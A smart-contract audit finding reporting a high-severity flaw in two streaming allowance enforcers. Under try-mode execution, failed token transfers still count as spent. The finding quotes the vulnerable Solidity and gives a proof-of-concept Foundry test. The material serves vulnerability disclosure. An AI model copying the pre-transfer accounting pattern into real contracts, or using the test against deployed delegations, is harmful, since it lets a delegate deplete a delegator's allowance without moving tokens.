HIGH severity: Streaming enforcers increase token spending even without actual token transfer. **Description:** The streaming enforcers (`ERC20StreamingEnforcer` and `NativeTokenStreamingEnforcer`) are vulnerable to a token spend allowance depletion attack when used with the `EXECTYPE_TRY` execution mode. The issue exists because both enforcers update the spent amount in the `beforeHook`...

Vulnerable code:
function _validateAndConsumeAllowance(
    bytes calldata _terms,
    bytes calldata _executionCallData,
    bytes32 _delegationHash,
    address _redeemer
)
    private
{
    // ... validation code ...

    uint256 transferAmount_ = uint256(bytes32(callData_[36:68]));

    require(transferAmount_ <= _getAvailableAmount(allowance_), "ERC20StreamingEnforcer:allowance-exceeded");

    // @issue This line increases the spent amount BEFORE the actual transfer happens
    allowance_.spent += transferAmount_;

    emit IncreasedSpentMap(/* ... */);
}

function _validateAndConsumeAllowance(
    bytes calldata _terms,
    bytes calldata _executionCallData,
    bytes32 _delegationHash,
    address _redeemer
)
    private
{
    (, uint256 value_,) = _executionCallData.decodeSingle();

    // ... validation code ...

    require(value_ <= _getAvailableAmount(allowance_), "NativeTokenStreamingEnforcer:allowance-exceeded");

    // @issue This line increases the spent amount BEFORE the actual native token transfer
    allowance_.spent += value_;

    emit IncreasedSpentMap(/* ... */);
}

function test_streamingAllowanceDrainWithFailedTransfers() public {
        // Create streaming terms that define:
        // - initialAmount = 10 ether (available immediately at startTime)
        // - maxAmount = 100 ether (total streaming cap)
        // - amountPerSecond = 1 ether (streaming rate)
        // - startTime = current block timestamp (start streaming now)
        uint256 startTime = block.timestamp;
        bytes memory streamingTerms = abi.encodePacked(
            address(mockToken), // token address (20 bytes)
            uint256(INITIAL_AMOUNT), // initial amount (32 bytes)
            uint256(MAX_AMOUNT), // max amount (32 bytes)
            uint256(AMOUNT_PER_SECOND), // amount per second (32 bytes)
            uint256(startTime) // start time (32 bytes)
        );

        Caveat[] memory caveats = new Caveat[](3);

        // Allowed Targets Enforcer - only allow the token
        caveats[0] = Caveat({ enforcer: address(allowedTargetsEnforcer), terms: abi.encodePacked(address(mockToken)), args: hex"" });

        // Allowed Methods Enforcer - only allow transfer
        caveats[1] =
            Caveat({ enforcer: address(allowedMethodsEnforcer), terms: abi.encodePacked(IERC20.transfer.selector), args: hex"" });

        // ERC20 Streaming Enforcer - with the streaming terms
        caveats[2] = Caveat({ enforcer: address(streamingEnforcer), terms: streamingTerms, args: hex"" });

        Delegation memory delegation = Delegation({
            delegate: address(users.bob.deleGator),
            delegator: address(users.alice.deleGator),
            authority: ROOT_AUTHORITY,
            caveats: caveats,
            salt: 0,
            signature: hex""
        });

        // Sign the delegation
        delegation = signDelegation(users.alice, delegation);
        bytes32 delegationHash = EncoderLib._getDelegationHash(delegation);

        // Initial balances
        uint256 aliceInitialBalance = mockToken.balanceOf(address(users.alice.deleGator));
        uint256 bobInitialBalance = mockToken.balanceOf(address(users.bob.addr));
        console.log("Alice initial balance:", aliceInitialBalance / 1e18);
        console.log("Bob initial balance:", bobInitialBalance / 1e18);

        // Amount to transfer
        uint256 amountToTransfer = 5 ether;

        // Create the mode for try execution (which will NOT revert on failures)
        ModeCode tryExecuteMode = ModeLib.encode(CALLTYPE_SINGLE, EXECTYPE_TRY, MODE_DEFAULT, ModePayload.wrap(bytes22(0x00)));

        // First test - Successful transfer
        {
            console.log("\n--- TEST 1: SUCCESSFUL TRANSFER ---");

            // Make sure token transfers will succeed
            mockToken.setHaltTransfer(false);

            // Prepare a transfer execution
            Execution memory execution = Execution({
                target: address(mockToken),
                value: 0,
                callData: abi.encodeWithSelector(IERC20.transfer.selector, address(users.bob.addr), amountToTransfer)
            });

            // Execute the delegation using try mode
            execute_UserOp(
                users.bob,
                abi.encodeWithSelector(
                    delegationManager.redeemDelegations.selector,
                    createPermissionContexts(delegation),
                    createModes(tryExecuteMode),
                    createExecutionCallDatas(execution)
                )
            );

            // Check balances after successful transfer
            uint256 aliceBalanceAfterSuccess = mockToken.balanceOf(address(users.alice.deleGator));
            uint256 bobBalanceAfterSuccess = mockToken.balanceOf(address(users.bob.addr));
            console.log("Alice balance after successful transfer:", aliceBalanceAfterSuccess / 1e18);
            console.log("Bob balance after successful transfer:", bobBalanceAfterSuccess / 1e18);

            // Check streaming allowance state
            (,,,, uint256 storedSpent) = streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);

            console.log("Spent amount:", storedSpent / 1e18);

            // Verify the spent amount was updated
            assertEq(storedSpent, amountToTransfer, "Spent amount should be updated after successful transfer");

            // Verify tokens were actually transferred
            assertEq(aliceBalanceAfterSuccess, aliceInitialBalance - amountToTransfer, "Alice balance should decrease");
            assertEq(bobBalanceAfterSuccess, bobInitialBalance + amountToTransfer, "Bob balance should increase");
        }

        // Second test - Failed transfer
        {
            console.log("\n--- TEST 2: FAILED TRANSFER ---");

            // Make token transfers fail
            mockToken.setHaltTransfer(true);

            // Prepare the same transfer execution
            Execution memory execution = Execution({
                target: address(mockToken),
                value: 0,
                callData: abi.encodeWithSelector(IERC20.transfer.selector, address(users.bob.addr), amountToTransfer)
            });

            // Record spent amount before the failed transfer
            (,,,, uint256 spentBeforeFailure) = streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);
            console.log("Spent amount before failed transfer:", spentBeforeFailure / 1e18);

            // Execute the delegation (will use try mode so execution continues despite transfer failure)
            execute_UserOp(
                users.bob,
                abi.encodeWithSelector(
                    delegationManager.redeemDelegations.selector,
                    createPermissionContexts(delegation),
                    createModes(tryExecuteMode),
                    createExecutionCallDatas(execution)
                )
            );

            // Check balances after failed transfer
            uint256 aliceBalanceAfterFailure = mockToken.balanceOf(address(users.alice.deleGator));
            uint256 bobBalanceAfterFailure = mockToken.balanceOf(address(users.bob.addr));
            console.log("Alice balance after failed transfer:", aliceBalanceAfterFailure / 1e18);
            console.log("Bob balance after failed transfer:", bobBalanceAfterFailure / 1e18);

            // Check spent amount after failed transfer
            (,,,, uint256 spentAfterFailure) = streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);
            console.log("Spent amount after failed transfer:", spentAfterFailure / 1e18);

            // @audit -> shows spent amount increases even when token transfer fails
            assertEq(
                spentAfterFailure, spentBeforeFailure + amountToTransfer, "Spent amount should increase even with failed transfer"
            );

            // Verify tokens weren't actually transferred
            assertEq(
                aliceBalanceAfterFailure,
                aliceInitialBalance - amountToTransfer, // Only reduced by the first successful transfer
                "Alice balance should not change after failed transfer"
            );
            assertEq(
                bobBalanceAfterFailure,
                bobInitialBalance + amountToTransfer, // Only increased by the first successful transfer
                "Bob balance should not change after failed transfer"
            );
        }
    }